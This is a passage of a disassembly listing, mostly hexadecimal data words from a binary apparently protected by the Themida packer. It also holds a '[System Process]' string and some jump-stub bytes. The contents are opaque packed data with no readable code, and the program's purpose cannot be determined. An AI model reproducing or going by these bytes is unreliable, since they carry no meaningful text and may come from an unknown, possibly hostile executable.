		dd 7B3FEAC3h, 126CA39h,	5C400000h, 8D4C1EBDh, 68F5A1D6h
		dd 36D0358Bh, 390E3239h, 0CF823927h, 19CA98Eh, 7260F2BFh
		dd 0F59DAE55h, 0D6967FCh, 94C98219h, 1AEAA118h,	67223C71h
		dd 943CD4DBh, 0F03DF3Bh, 81D7301Dh, 1F26497Ch, 0A5DA914Ah
		dd 0F835DAF1h, 0A0D78D0Ch, 8B2AF9F4h, 9C334845h, 5B9EE95h
		dd 0AFEAA01Bh, 960CE59Ah, 4BEC397Ah, 5E000000h,	401AC15Ch
		dd 0CC7CD949h, 35F2DBEDh, 96CB26FEh, 645EE4A7h,	0BAB6EDCCh
		dd 306B1F96h, 170BE044h, 8E09CD12h, 0C198C9BFh,	0F4BA9F05h
		dd 9C886CCDh, 0CC8275CDh, 0AA95AEDh, 4719C255h,	0CC82DE44h
		dd 0BE7AF66Dh, 7345h, 0BD5CB700h, 437E1815h, 597DABE7h
		dd 0F3E78487h, 0C39F67FCh, 0DA0FB8CFh, 57983900h, 863DBC82h
		dd 6BC7F51h, 0A9F0AECBh, 943C931Eh, 4ED76E55h, 97EC6095h
		dd 8A815B80h, 9E094A1Ah, 0D07DB398h, 0C7279DDAh, 8074F0B2h
		dd 792D6209h, 8470AD62h, 7B276005h, 0FCC05F40h,	4318B74Ah
		dd 565527B4h, 9422D7CEh, 1750F5C4h, 30F2076Bh, 0C6BAF599h
		dd 34D2866Ah, 235E04D7h, 87D6F36Fh, 6F916B70h, 0CC7C06BCh
		dd 6582DE6Dh, 0A7089893h, 0CCA867F9h, 0D50AC1D8h, 0EB29E259h
		dd 739328C4h, 190DE9C0h, 0B0F19427h, 8F57EB9Eh,	0B3AF9426h
		dd 0C54ED96h, 0F0CFE1C4h, 0E217D051h, 0D38EF66h, 0C00CA41Eh
		dd 0A3494080h, 0B86C886Ch, 51F198C6h, 0B580C00Ch, 7417A4B9h
		dd 0C9ADE49Ch, 0CF06BEDDh, 0C2FFA423h, 6D049BCEh, 0A73EF55Fh
		dd 0C97E3D23h, 0ED9C988Ch, 80C00C55h, 1B98B5B1h, 0B6EB9464h
		dd 0CE8A66CAh, 8BB66DECh, 0C00C22A0h, 8A66C280h, 83DE66Dh
		dd 86BD63F6h, 324B571h,	98000000h, 80326D5Fh, 9952493Dh
		dd 7519B064h, 9E4F463Ah, 7E32A95Dh, 9034533Fh, 8126A551h
		dd 94395044h, 7830A75Bh, 68CF5541h, 6ADh, 56242489h, 4BEh
		dd 24740100h, 0EC835E04h, 24148904h, 151B68h, 243C8900h
		dd 5DCBE56h, 814E6C0Ah,	0F45AC6EEh, 8BF28965h, 0C4832434h
		dd 505B6804h, 24890000h, 24048124h, 4, 0BE56535Fh, 8, 15EF389h
		dd 5B1389FBh, 51243C8Bh, 0C181E189h, 4,	4C181h,	0C870000h
		dd 34FF5C24h, 0C4835A24h, 0D026E904h, 2754FFFAh, 15AFD0B8h
		dd 0FFC50306h, 87D49E0h, 0EAE19507h, 0CED20A3Dh, 0B6766150h
		dd 0A7853941h, 76135731h, 0D82CF241h, 774D8256h, 4CC5BA28h
		dd 0CB537474h, 0C6CEDB05h, 4AE80230h, 34847B08h, 0CEE52F7Bh
		dd 164E957h, 0EBAA0000h, 68003624h, 4CEC8704h, 588F4FF8h
		dd 56240825h, 5677512Eh, 5854082Dh, 717C5126h, 247F380Dh
		dd 70F4515Fh, 0C412D3A4h, 0B6A39FA0h, 14985018h, 1285169h
		dd 0
		dd 40000h, 2 dup(0)
		dd 2F0000h, 0
		dd 80000h, 0
		dd 79530000h, 6D657473h, 72502000h, 7365636Fh, 5D73h, 3Eh dup(0)
		dd 0B2E90000h, 68000016h, 615B40Dh, 0FB98EBE9h,	0B4D068FFh
		dd 0E1E90615h, 68FFFB98h, 615B5B5h, 0FB98D7E9h,	0B69D68FFh
		dd 0CDE90615h, 68FFFB98h, 615B82Fh, 0FB98C3E9h,	0B96D68FFh
		dd 0B9E90615h, 68FFFB98h, 615BA25h, 0FB98AFE9h,	0BAD968FFh
		dd 0A5E90615h, 68FFFB98h, 615BCEAh, 0FB989BE9h,	0BD9C68FFh
		dd 91E90615h, 68FFFB98h, 615BEA2h, 0FB9887E9h, 0BF5768FFh
		dd 7DE90615h, 68FFFB98h, 615C0E4h, 0FB9873E9h, 0C62068FFh
		dd 69E90615h, 68FFFB98h, 615C711h, 0FB985FE9h, 0C779CEFFh
		dd 7B352B9Ah, 0CC7ED726h, 7C2E2697h, 0CA84D627h, 5CDFA795h
		dd 0A6174C06h, 59ACF9B3h, 0AFFE5305h, 2FADE29Ch, 0F7404F9Ch
		dd 0BB151DDDh, 0B2AB5ACFh, 75665F00h, 96C514BBh, 3C2287DCh
		dd 7D0A7948h, 17C844DAh, 0E1E28B7Bh, 0D85A8C96h, 0A42BDB1Dh
		dd 0B82F3457h, 0FEB8AA11h, 681A327Fh, 6F0AD969h, 0CF0C8E48h
		dd 5513E3Dh, 9B7732A1h,	0BE93CA35h, 404F9C4Bh, 1511B827h
		dd 74944869h, 45000000h, 0E4EB9DB8h, 0EF8E4095h, 1C4E0F43h
		dd 3B5EA95Ah, 1A17C845h, 82B0416Ah, 657603FAh, 88A754ABh
		dd 0CD17C844h, 0F8838021h, 1DD844EAh, 9672D28Dh, 0EAC10283h
		dd 0A9CC17B6h, 3511B822h, 0A7646B25h, 0FF7137ECh, 71624F35h
		dd 560AC416h, 0B9987C37h, 0D82C4C65h, 7E9851D0h, 20F2AB22h
		dd 0BE9407BAh, 0D33023D2h, 0B8010928h, 0F4A04C11h, 0CC31ABh
		dd 5A790000h, 0D3498A3Dh, 3879AACDh, 0D6217ECDh, 17C892C3h
		dd 92C3D621h, 0E29217C8h, 0BDC4907Ch, 5B70FD6Eh, 934356A1h
		dd 621217C8h, 0DC96CC39h, 8C3E98E5h, 7261B0E3h,	97CC19B8h
		dd 0DF3788DDh, 9517C897h, 0E6D78C46h, 31943BF5h, 0F98A790Dh
		dd 8BF8558Ch, 17C88DECh, 0EAE9BD69h, 6694733Ch,	0B11DD89Ch
		dd 0CE1B90C5h, 11BDC476h, 89FD6150h, 37BBCD3Ah,	0D0BC17CBh
		dd 843E94E1h
		db 0CFh, 0DEh
word_5A686A	dw 32ECh		; DATA XREF: Themida_:0054BEACo
		dd 12E26AB4h, 15ABAEE2h, 13CDh,	1946F84Fh, 0A5FAB4ACh
		dd 164BFD58h, 0A6FBADA7h, 1C490357h, 85D55828h,	322796CBh
		dd 84DA2B78h, 1B307DD2h, 21B03461h, 0DDF8C3D6h,	4434921Dh
		dd 8E653D5Ah, 0AEAB5EC2h, 8C218EDh, 0BF796A5Bh,	1A48C892h
		dd 0E2E08B62h, 951DD845h, 0F69DEAE9h, 0D911B844h, 0F714CF6Ah
		dd 6147E4F6h, 36ACF554h, 0BE932FB0h, 0AAA1h, 75CE900h
		dd 6599764Dh, 0D80FFA1Ah, 0C815BEDFh, 0A7CA3592h, 0AE17C880h
		dd 0A0EB92BEh, 17C88558h, 580DC71Ch, 15BC7665h,	7F68EB4h
		dd 0D88A3E7Ch, 558CD91Dh, 902FE9FAh, 0ADE2AEE2h, 2F7E062Ch
		dd 0CB21B5C4h, 0FDF4A017h, 0F3A05A70h, 0A016D002h, 0E212F5B0h
		dd 0A3FD5D4h, 8C000013h, 1F4A153h, 6D4015CFh, 0CF9A658h
		dd 84711ED0h, 6DBF944Eh, 16D00285h, 0AB657C49h,	1DCF07F6h
		dd 0AC667548h, 1966F5F7h, 1DDDF976h, 5C9981DFh,	0A6174C06h
		dd 7504FBB5h, 0DC7B0865h, 7917C844h, 0CD98D98Dh, 4FE28DDEh
		dd 617C845h, 5C155516h,	5DB0AC07h, 6412B16Bh, 0B1E59130h
		dd 0D690C312h, 60213C89h, 0AE88BB77h, 0E8CAEFE9h, 770CD7BAh
		dd 4410CAFFh, 2F247110h, 10B82075h, 0CA394DF1h,	0D8D2FB3Dh
		dd 0D3EAB1Dh, 7A2A0A53h, 0E887F483h, 0FE11B88Ah, 520D13CDh
		dd 38FAAEE5h, 0A7C89C07h, 5146E8B3h, 0D8860943h, 0D0A24DA4h
		dd 7203EF7h, 29157817h,	4115E55h, 5D1A326Bh, 9EA719A2h
		dd 2E6225CAh, 672132BFh, 3EF8E998h, 2A1E933Fh, 0FCA55170h
		dd 4D075CA9h, 0ACAF7D6Fh, 922AA9DFh, 1225h, 51FEB0A7h
		dd 0DDB26C64h, 4E03B510h, 0DEB3655Fh, 5401BB0Fh, 3D8D10E0h
		dd 0EADFCE83h, 3C926330h, 0F3E8D58Ah, 0F9886C39h, 0DDF9EB8Eh
		dd 1C0C6A1Dh, 5CB7AB5Ah, 82304F01h, 23388DCEh, 5B076A69h
		dd 0E11FCC23h, 161DD867h, 97CC3966h, 0EF53B6DDh, 6BDB2897h
		dd 4817CDD2h, 0CFEEA8BBh, 0F1806F23h, 8A7B28E2h, 0CF209F59h
		dd 57763022h, 43EF02ABh, 2435C43Bh, 0F6B7636Ah,	215E620Dh
		dd 53A411B8h, 8CBF89A8h, 6520CC05h, 8188560Fh, 0E84C157Dh
		dd 1E38C53Ch, 8D3F976Ch, 0E190DFE4h, 47EA95F2h,	0E058CFEh
		dd 0DF8B325Eh, 830ABC12h, 1C2F96D7h, 81D58FC1h,	38F2E1D4h
		dd 720A3899h, 0DA0FEC7Bh, 3D5CA7C9h, 18058C57h,	99B3296Ch
		dd 0C2120043h, 7BEFFE3h, 0B0436166h, 10FC0B9Ch,	3C10A29Ah
		dd 0D56BEEEEh, 113Dh, 89D688BFh, 356A243Ch, 86DB8DC8h
		dd 366B1D37h, 8CD993C7h, 1545C8B8h, 0A2B7065Bh,	144ABBE8h
		dd 8BC02D62h, 0D12084D1h, 0DDFB1326h, 0F4A4421Dh, 174C065Ch
		dd 0E9D8AC92h, 0D866349Eh, 0CE3931Dh, 129F4DEFh, 388DCB19h
		dd 90436C1Eh, 0B581241h, 0F64EA9BAh, 0C5913D44h, 5FF27DEEh
		dd 0F611B79Ch, 0CB2E6506h, 46C01067h, 7B00D355h, 1F9E5086h
		dd 1FD01F73h, 0E21423D0h, 554111B7h, 0EBA5BB0Ch, 0D2C217C7h
		dd 0B16B5EABh, 0D690C312h, 15D04FB7h, 0D87E115Eh, 27D70BA7h
		dd 2AD7287Bh, 0AF347D37h, 520C3FF6h, 731FA05Bh,	8706B80Eh
		dd 0AA9678DBh, 69703576h, 85F2C1C5h, 11B81C2Bh,	84D1F09Ch
		dd 9FEE954Fh, 81D0EFA9h, 0F218864Fh, 0B9242DE5h, 0F467E6EDh
		dd 33A82D39h, 0F38BB77Ah, 9F196FFCh, 0B03D0BA7h, 23E0DF99h
		dd 5F34E7ABh, 0D29BC78Fh, 10DDB262h, 43B201BBh,	0E8A2B70Ah
		dd 6A693DE9h, 93E0F3BCh, 0FF87E000h, 0EC9954C3h, 95683DF7h
		dd 0A4058C46h, 88F7C6BEh, 0BFED8CF7h, 8CF7FF87h, 0FF87BFEDh
		dd 0C6B6BC68h, 0CF7C22A5h, 22B30597h, 0AB577630h, 0B088A754h
		dd 21CDF977h, 7DB82075h, 0A7166ED4h, 8D60F45Ch,	671FCFFFh
		dd 0EF8E489Ah, 0BD3EE3A0h, 0B8095437h, 1A7D10F7h, 0E14DF362h
		dd 4DD9269Dh, 36F977CAh, 670F1637h, 0A2EE885Eh,	0F3AD9E4Bh
		dd 42FC4F9Eh, 0F07BEC3Bh, 0ED4C5961h, 5E6708F4h, 3234B26Ch
		dd 56006C54h, 0FABBD53h, 1A2D0000h, 96CA3B68h, 1F3687DCh
		dd 8FC5386Dh, 253588DDh, 7E46366Bh, 0B8EDA7BBh,	55A1445h
		dd 0B7EC9EB8h, 65B1546h, 89A853A6h, 0CC1DDDFCh,	65C8672h
		dd 0D6FDB7ABh, 0D4277C28h, 557C3625h, 0CEFD08A9h, 2B206D14h
		dd 0DEF38271h, 0EE587B24h, 0CCFFB66Fh, 0C74D3D12h, 0B6B883B7h
		dd 167h, 4D075C0Ah, 51AF546h, 0D8C19ABFh, 8EC27CD4h, 29E3F8CDh
		dd 0B5C9757Ch, 63D2AD3Eh, 2E21741Eh, 0C61F797Eh, 731FAAC7h
		dd 0C843DD2Ah, 78241DD8h, 9D670E59h, 0F96811B8h, 5BFC6240h
		dd 43EDBE93h, 35000000h, 8B621A48h, 0D845E2E0h,	0EAE9951Dh
		dd 0B844F69Dh, 97F2E811h, 56048B3Dh, 0C734830Ah, 11B844A8h
		dd 0D8F4C1ADh, 0E3FCA726h, 9B83C4Ah, 0B80C9270h, 0D324BE93h
		dd 0B8510928h, 0FFA04C11h, 9EDDh, 75C2500h, 899764Dh, 138C9D18h
		dd 0FD4C8728h, 1D6C13CDh, 4D742Eh, 51A211CBh, 0C85393A6h
		dd 89D2C217h, 5913EBDCh, 726117C8h, 8908C217h, 0C93A89DDh
		dd 0C84F1B3Eh, 214A3A17h, 8DF15D44h, 424C936h, 412D1DDBh
		dd 15CF0372h, 0A35D6D40h, 3144D45h, 5AF271DCh, 0E6Dh, 7926D8EFh
		dd 0C59A548Ch, 762BDDF8h, 0C69B4D87h, 7C29E3F7h, 65753808h
		dd 0D207F6ABh, 647A4B18h, 0BB10DDB2h, 1505401h,	0DDFDE376h
		dd 24D4721Dh, 174C065Ch, 65AB5A6h, 0DDF8454Ch, 0AAF6A42Bh
		dd 5C01A9F6h, 92FB3E07h, 0ECE48044h, 8807C117h,	0CA3786DAh
		dd 8B6DD97h, 0EEDD2C67h, 3D8E5F34h, 0B599FC83h,	1D25E2D1h
		dd 51309A52h, 7B08FBA4h, 1DD927CDh, 16E5BA6Ah, 0CA771A65h
		dd 2EDE11B8h, 7AA4F6Dh,	5C530000h, 0FA454C06h, 17C84553h
		dd 3CB3CB77h, 0DDF53FAFh, 59A8541Dh, 0A8FDB7ACh, 754C0655h
		dd 511ACC08h, 25DFF342h, 619ADC7h, 0E27AF9DCh, 0DB5h, 216E2037h
		dd 8DC27CD4h, 1E732520h, 8EC375CFh, 24712B1Fh, 0AD9D6050h
		dd 0FA4F9EF3h, 0ACA21340h, 358A5FAh, 49981C49h,	0DDFE9BBEh
		dd 6C1CBA1Dh, 5EA9065Ch, 17C8453Bh, 69366A1Ah, 68D479Ch
		dd 0E3EAA4B7h, 6BFC7Bh,	17C84571h, 47EA95E4h, 0E17C845h
		dd 7A69325Eh, 617504BFh, 396210AFh, 88DD97CCh, 83B78C12h
		dd 3853A4B8h, 95C01F7Fh, 6B0EF93Ch, 0EA17C91Dh,	0D6B713Ah
		dd 0BF000000h, 0C8502C5Eh, 0DE7F3D17h, 3FFFFFDh, 0C845375Eh
		dd 0D7AF9317h, 0F5A39BE8h, 14001DDDh, 41FB509Dh, 0F8B2A114h
		dd 9C568CD9h, 6193E1Eh,	71078ADCh, 0D01h, 0C59A4C83h, 7926E0F8h
		dd 0F29F518Ch, 4A17C903h, 0F8AD677Bh, 0E9F9BC84h, 3E93622Fh
		dd 0E8DECF84h, 479C6936h, 85D4D88Dh, 0DDFF57FAh, 0B860FE1Dh
		dd 464D075Ch, 0D32AE4F7h, 337C2E26h, 0EA736A0h,	0F9B3A855h
		dd 44FE4DB8h, 0B8157B0Fh, 0D04B883h, 5C000000h,	0C8502C5Eh
		dd 567F3D17h, 3FFFFFDh,	0FBB5AB5Ah, 6C8526D4h, 84EFBEC6h
		dd 1DD866FAh, 0CD1AB965h, 11B822A7h, 3026D32Ah,	2BC6DD7Eh
		dd 93D5D157h, 1DBC0BEh,	5E080000h, 17C84567h, 0A5B64F78h
		dd 1447B6EBh, 0C216635Ah, 0DF2C6708h, 17C845B4h, 0BB6A039Ch
		dd 40A1EEA8h, 7B95A1Fh,	0AF3AC4CEh, 34E2E19Bh, 53E69160h
		dd 217C92Bh, 0F23F3E12h, 897A27E1h, 0A52CE6FCh,	0FE4DB8F9h
		dd 0CBF23D44h, 0F317C92Bh, 4D9C23DDh, 954241FBh, 4F5363FEh
		dd 75046F00h, 0E017C92Bh, 19B29C25h, 8CD8E734h,	4D25C0E3h
		dd 0B88350C7h, 164B6h, 75C0A00h, 0E4F7464Dh, 455DFC87h
		dd 0CF817C8h, 0B8A60B58h, 0EF7EEDC4h, 51A01FD9h, 56174BFDh
		dd 0D85A6771h, 6D14001Dh
		dd 0B82F0B22h, 522DC411h, 0CB71E46Ch, 0F1F2BBD2h, 0A5F45A38h
		dd 37E5BE94h, 3D000000h, 8B621A48h, 0D845E2E0h,	26D3241Dh
		dd 53FF7E30h, 0B844D160h, 8AF58411h, 11B844E7h,	89D27E6Eh
		dd 87D4FBABh, 11B844E4h, 0E9B974EBh, 0BE93B783h, 0D172h
		dd 75CB600h, 0E3F7464Dh, 85BAA29h, 0F1E22F4Eh, 2539C837h
		dd 887B2A73h, 9AA4CD8Bh, 0A0C1FE2Dh, 0C9565727h, 0C31E2D17h
		dd 1ADD48Eh, 0A6EA5946h, 0EBB7AE2Fh, 0A0B845B6h, 723BE7E6h
		dd 54ABD37Fh, 459B4A5h,	0D37F2B52h, 665DFEACh, 0B7716815h
		dd 2FFC11F6h, 27E41DDBh, 12315AACh, 0CA7CD1FBh,	0A05FD596h
		dd 718602F1h, 3A89DD0Eh, 1A85CEC9h, 0D7B17702h,	611B2F96h
		dd 15687592h, 12C3D621h, 0E29211B6h, 1BE08B9Fh,	0B0A21352h
		dd 441600F6h, 373ADC03h, 0AF0A1h, 0AB5D7200h, 17D107F6h
		dd 0B0627B4Ah, 8BA12E3h, 0BE786A5Bh, 50D3A391h,	0A21340FAh
		dd 4DA0F5AFh, 0AB1A47F9h, 5351FEB8h, 0E47300h, 0D7711DDEh
		dd 4C065C23h, 0FBB5A617h, 75CFCA6h, 0E4F7464Dh,	455DFC87h
		dd 0CF817C8h, 0C61C6958h, 6A02630Ch, 460h, 833473Eh, 20CB225Ah
		dd 1DDDF5C9h, 573810FCh, 0CF1C93EBh, 17C2AE95h,	13C5196Ah
		dd 74FF703Fh, 0BA278E5h, 38EAE370h, 4390436Ch, 0BA27930h
		dd 9D75309Fh, 0C4A98037h, 3EB26h, 375E7A00h, 0A917C845h
		dd 17C84491h, 1C93EB57h, 0D84C75CFh, 5C5A4A1Dh,	0DC00729Ch
		dd 3E4BE1E0h, 0C000000Ah, 2D80D587h, 0C134611Bh, 3885DA8Ch
		dd 0C8356A1Ch, 0B98BD892h, 5A1446C9h, 0E7A1B805h, 61134BBAh
		dd 0D892C134h, 2DDA298Bh, 1DDE020Ah, 5CFDAD4Bh,	0E3464D07h
		dd 49B8077Fh, 0AE5C6315h, 816916EDh, 0D91DDDF5h, 93BADD2Ah
		dd 0EB9B11B2h, 0EBC2B2C2h, 0CA934D7Eh, 88D9289Bh, 3E248DCEh
		dd 3BAFEA37h, 398D44C6h, 97E4DB87h, 11B2E3F8h, 0EE5B15Dh
		dd 0EFB06A5Fh, 94876714h, 8EDB17C8h, 0ADFC833Dh, 3AE8E799h
		dd 3F2F4566h, 16D00170h, 33FF7E49h, 381B0B9Dh, 8201B3ABh
		dd 31EBDFD4h, 41B0E492h, 0BCE59FB4h, 1C691AE9h,	0C57110C2h
		dd 9D325FF2h, 4B06F60Bh, 0D66183E4h, 0D035764Ah, 0C0CF1C79h
		dd 950B9C91h, 0C516BDE9h, 0D993C736h, 96B90CBAh, 0BF0B9C91h
		dd 24378ECFh, 5C02636Ah, 322CD928h, 97E4DF80h, 11ACB215h
		dd 0D80B7A09h, 0F39F1Eh, 58C7271h, 0FD7738E4h, 3BE99B11h
		dd 3635E82Ch, 9389Eh, 0F3A5BA00h, 3FF94F9Eh, 0F8AAA312h
		dd 50025AABh, 0E6A0B203h, 38FBCBB9h, 0CA3B6822h, 3588DD97h
		dd 0D3226F21h, 1B99C680h, 31C3BC8h, 9F391DDEh, 621A48EBh
		dd 0F610E08Bh, 0A3521DDDh, 0CAAAF3ADh, 0F8C2AFCBh, 0F0A48430h
		dd 0CB037201h, 5C6D5819h, 0C900EDA2h, 0FC51A00Fh, 0D697434Ah
		dd 0A7916EBDh, 3B3338CCh, 731ACC02h, 0DFD29BC7h, 47B40B73h
		dd 17C8DCE3h, 36C53CE8h, 9D7AA6C9h, 9EB13E0Bh, 0B70B9D7Ah
		dd 0F4BD69C7h, 0ACD07EDFh, 0F9B3A855h, 80832CDAh, 0ADAAF5F3h
		dd 6A641111h, 4BC76A15h, 0DE8E058Dh, 3E5F0BB2h,	0DC704636h
		dd 8E82B61h, 883F389h, 0D2050000h, 4E827320h, 0D7EEBF94h
		dd 477D7025h, 0DDEDC095h, 36FE6E23h, 0F0A55F73h, 3D12CCFDh
		dd 0EFA45670h, 3E13CDFEh, 0D1600B5Eh, 841DDE03h, 75C3EEAh
		dd 0E4F7464Dh, 9C3BA32Ah, 45FF5401h, 0B4147A10h, 0C505B883h
		dd 5D000001h, 0CF303D5Ah, 8FEB8EF9h, 0BA6A17C8h, 9DD279D7h
		dd 0D71DDD4h, 441F49B6h, 7C281DD9h, 0E4630A55h,	677B11B8h
		dd 83D726ADh, 861DCAC9h, 68D7DBEBh, 146FF5CDh, 895EBE93h
		dd 0A2000001h, 464D075Ch, 0D41A1AF5h, 4F97D6ABh, 43DF23h
		dd 87D9F9EAh, 4C18C6CDh, 1AA6477h, 9E15CF04h, 973806E1h
		dd 5B043090h, 0C3BBA70Ah, 4E797FECh, 0FEEE1DD9h, 7253307Fh
		dd 0B20D8BD5h, 2C3FC8E9h, 0A311B8B4h, 3BA1712Ch, 2ABE9345h
		dd 27h,	621A487Eh, 45E2E08Bh, 0E9951DD8h, 0F1EC99EAh, 0C992403Fh
		dd 0B84557FEh, 30C97811h, 93B7CC52h, 0EBBDBEh, 5C050000h
		dd 0EEB7AC07h, 0E384427Bh, 78174BCFh, 8CF687CAh, 0BEE16E47h
		dd 0AC9EEB92h, 4D7ECBF2h, 0C65F1C93h, 0B9E25795h, 0F01D2F12h
		dd 0DA094A62h, 0A0B30291h, 335A1445h, 3986DB87h, 17C94E4Dh
		dd 451AD407h, 3786FE64h, 0D22539C8h, 1BC7C680h,	0D19A4847h
		dd 0DBCBE1F6h, 2D84701Dh, 0C22D8AC0h, 11B660AFh, 23AAF6A6h
		dd 99CD7FD6h, 4C7EEBD8h, 0A726E0F1h, 9FAA7FBh, 0EEAF617Ch
		dd 1966C317h, 11B66176h, 85632FDFh, 0DC024CB3h,	0F6DC74F7h
		dd 78000006h, 5F8AD5Fh,	794C19D3h, 10DDB264h, 604D02B4h
		dd 91E3B06Ah, 32ECDEA1h, 7F39905Dh, 39EBE3D2h, 904A996Ch
		dd 0E592E1C3h, 1DDE0552h, 5CB56503h, 1B3AB06h, 3180D482h
		dd 0ACD38DC4h, 297D54EFh, 0BAE6BE46h, 0B23FB4F1h, 40C5E6A0h
		dd 0AF04510Bh, 46AB39D4h, 590201AAh, 0AA075C11h, 0C8453A5Dh
		dd 0FAB4AC17h, 0B5DC8874h, 2AA7368h, 27B3837Dh,	621A471Bh
		dd 40h,	24DEF27Fh, 0FAB0F19Dh, 1539E047h, 82F18271h, 0D225DFF3h
		dd 17C844BFh, 42C5E696h, 1DDDF5E8h, 75572FDFh, 0BBF10E83h
		dd 0A8E81CCEh, 68D6DB84h, 0F9529D14h, 0D017C869h, 334E6424h
		dd 52000000h, 0E2531A48h, 0BF7969CCh, 0F82F12C0h, 0C9386CDAh
		dd 0D933883Eh, 0D8F7A71Dh, 0B904E78Bh, 55108F11h, 0FDEA68Ch
		dd 0C9344264h, 5401ED17h, 0E118h, 0AB5A7000h, 3FB2FBB5h
		dd 65CBC813h, 8140E2EDh, 0A17E11E4h, 86D717C8h,	4CFA9953h
		dd 40F83D18h, 0C5CA6945h, 7BD32291h, 531CCAC9h,	0CC2B0370h
		dd 0EC981DDEh, 7A097A09h, 0B36B6A0Dh, 0C83BEB11h, 11B36AA9h
		dd 0DEF3C0ACh, 0B0F19D24h, 1B05640h, 92048A68h,	60F5BE98h
		dd 4D000000h, 8B621A48h, 0DDF609E0h, 0AC9E4B1Dh, 7E1FCBF2h
		dd 41AB06F6h, 6702B157h, 0A1B03BACh, 0B411B294h, 95FBA7C8h
		dd 0ABBE9967h, 0A530D3Eh, 2E92h, 0A95AD600h, 0C8453B5Eh
		dd 416A1A17h, 3FA82B0h,	0DDF59278h, 3A351Dh, 1BA86571h
		dd 0AB1590C4h, 0DD9847CDh, 99949F05h, 288EBEh, 5AD20000h
		dd 0AD5AB7ABh, 17C8448Ah, 0E687DBCBh, 0C8611FE1h, 46B30A17h
		dd 86345B15h, 459DF8CBh, 680957BDh, 0FFFEEF14h,	1A486CFFh
		dd 0DCE08B62h, 8F1DDDF5h, 0D17DE0DFh, 40A956ADh, 1817C845h
		dd 0F4BD7769h, 47B78580h, 2070FF6Ch, 39E50B9Dh,	2F79875Eh
		dd 5E0B5C63h, 0BC47B668h, 0B9CEA9Dh, 0EA3CCB8h,	0AA655C20h
		dd 0B3952910h, 0B1125BD8h, 0B201C246h, 0D522B111h, 586A0C2h
		dd 40AFE393h, 0B0E59FB1h, 0E29CAE3Bh, 836E2FDBh, 0AB58A7DFh
		dd 0B9C514Bh, 0D8948D88h, 24C18051h, 0DAF48170h, 0F9887B28h
		dd 864092E5h, 88075B07h, 0BEC161CBh, 0FF537CFBh, 8FF7695Eh
		dd 344F9797h, 1F6DFD10h, 0FF6B75Dh, 604D02BCh, 0AF12B16Bh
		dd 7504FB83h, 1141AE60h, 0E18A3857h, 80B95E2h, 0B05C6D5Ah
		dd 0D58FC411h, 0B06A5FAEh, 2235C211h, 336139F4h, 0E67F1043h
		dd 530E85D0h, 0A754B1A2h, 6139F388h, 7E7521CDh,	7B24D6EFh
		dd 0D183DB2Ah, 0B36D63B2h, 924B7A0Ch, 6C39EBE3h, 0FC9BE897h
		dd 596139F2h, 0CD0104ADh, 555A41Bh, 0F71224Bh, 0A9445F6Bh
		dd 0CF21E2FCh, 0C36B5087h, 0D09AC79Bh, 8DFB3D5Ah, 92983A44h
		dd 0FE76E8C9h, 7753307Fh, 21DBEEA6h, 6291F4A2h,	6C590287h
		dd 9716BD77h, 96C88924h, 0F44B1DEh, 9EE5255h, 0A75067Dh
		dd 17C8A867h, 0EE95477Fh, 4091E240h, 1291DA86h
		dd 0F3AD9E57h, 46B34493h, 87335A14h, 0C8A81D3Ch, 234C3817h
		dd 0CDF4AEA2h, 0E89C817Eh, 80806C61h, 9949E8DFh, 503F17C8h
		dd 2EE8E095h, 883A9461h, 9898BE09h, 38CB17C8h, 0C0E193C9h
		dd 83DB8A23h, 693384D1h, 0A817C8B9h, 837FB338h,	0FF6EA0B8h
		dd 0B441FFFFh, 5C46D798h, 2E289ED7h, 5C713962h,	0A5184D07h
		dd 6AF9FCB6h, 0A4451BADh, 0FCA51709h, 0C520DA09h, 0C58039AAh
		dd 0FC7CDC96h, 0B8833596h, 510B3FAEh, 0C1DB8432h, 47h
		dd 621A4809h, 0E08BDC8Bh, 17C84551h, 70571804h,	1DDDF59Bh
		dd 0F9633E2Eh, 0A33E051Eh, 0B50C70DEh, 0C844E14Ah, 419BE817h
		dd 7731228Fh, 9EF6AA58h, 3443B03Fh, 440B9CE3h, 3DD1DA84h
		dd 23D35124h, 28427Ah, 48460000h, 0E08B621Ah, 1DDDF60Bh
		dd 69D3CEBEh, 0D68F0089h, 905F270Bh, 0C8460EE3h, 0F4CBBB17h
		dd 0FDBD6817h, 812A3C42h, 0AB5A7119h, 0D48201B3h, 6F293A8Bh
		dd 18D20150h, 84F8664Bh, 21BF522Dh, 0D27E72C0h,	33CD3A89h
		dd 341DD8BDh, 8BFA4948h, 48F69D57h, 918DA027h, 8B4211B8h
		dd 669A00D2h, 408BBE93h, 0DF000000h, 54531A48h,	40FA4FEDh
		dd 0B020D405h, 38570943h, 9AE7D68Ah, 0F5CE8F49h, 2CDEF786h
		dd 4FB8F9A5h, 1DD881D1h, 4C0655A6h, 0C6CD9945h,	0B880D279h
		dd 0AB46FD11h, 937B51D7h, 0E240BEh, 5C880000h, 3A5DAA07h
		dd 1B17C845h, 4998376Bh, 11605F19h, 4CB908C2h, 0A3605F11h
		dd 2C3E50A1h, 93DC883Eh, 0E8A2B100h, 2BF44CBBh,	4B8017C9h
		dd 0E2F1C491h, 0F0BED928h, 38214DDFh, 60AFE48Dh, 0B3842AA3h
		dd 8ECF0B77h, 78473F23h, 9F1ED809h, 92AA90F3h, 93D63B4Bh
		dd 148EF9CAh, 931DD8A2h, 3A590B42h, 268BD88Ch, 6D4438h
		dd 754E0FC9h, 3A8B0906h, 26B18E5Ch, 0B3678285h,	2EDE17CBh
		dd 0B4C330BFh, 0A10BA641h, 0AA57ACF5h, 6451FEB8h, 6F64116Eh
		dd 95600EB5h, 0BA64202h, 0F9EFA353h, 0E2126B31h, 0BA5EF675h
		dd 3C000001h, 0D1247123h, 1D90C57Fh, 0DC297628h, 3481CE80h
		dd 3D2F641Eh, 0E6A0B275h, 5B154CB9h, 0ED9FB706h, 5C1645B8h
		dd 0A956A507h, 1DDE0A86h, 5C8971CFh, 0A6174C06h, 0FCA6FBB5h
		dd 0FDB7AB5Ah, 44D67906h, 8F7F17C8h, 77FE3CEh, 45BD4BB8h
		dd 0CABA1DD8h, 44D578C3h, 43FA11B8h, 0B752D8AAh, 0DA43BE93h
		dd 0E0000000h, 0E2A85523h, 0A3CC14B8h, 4D075CC7h, 9D20776h
		dd 0D9A5FB20h, 80217546h, 8730453h, 17C8DF69h, 99B300ECh
		dd 713AE8E7h, 0FD843E94h, 0C8E366B2h, 3BD0E17h,	0B26C5F4Eh
		dd 0E698AE3Bh, 87AB0EC5h, 0CDD3B0FFh, 9A346A59h, 50D20F49h
		dd 7A26F986h, 3B25D231h, 6C1DD8D4h, 8FE0D380h, 0B8AE55E4h
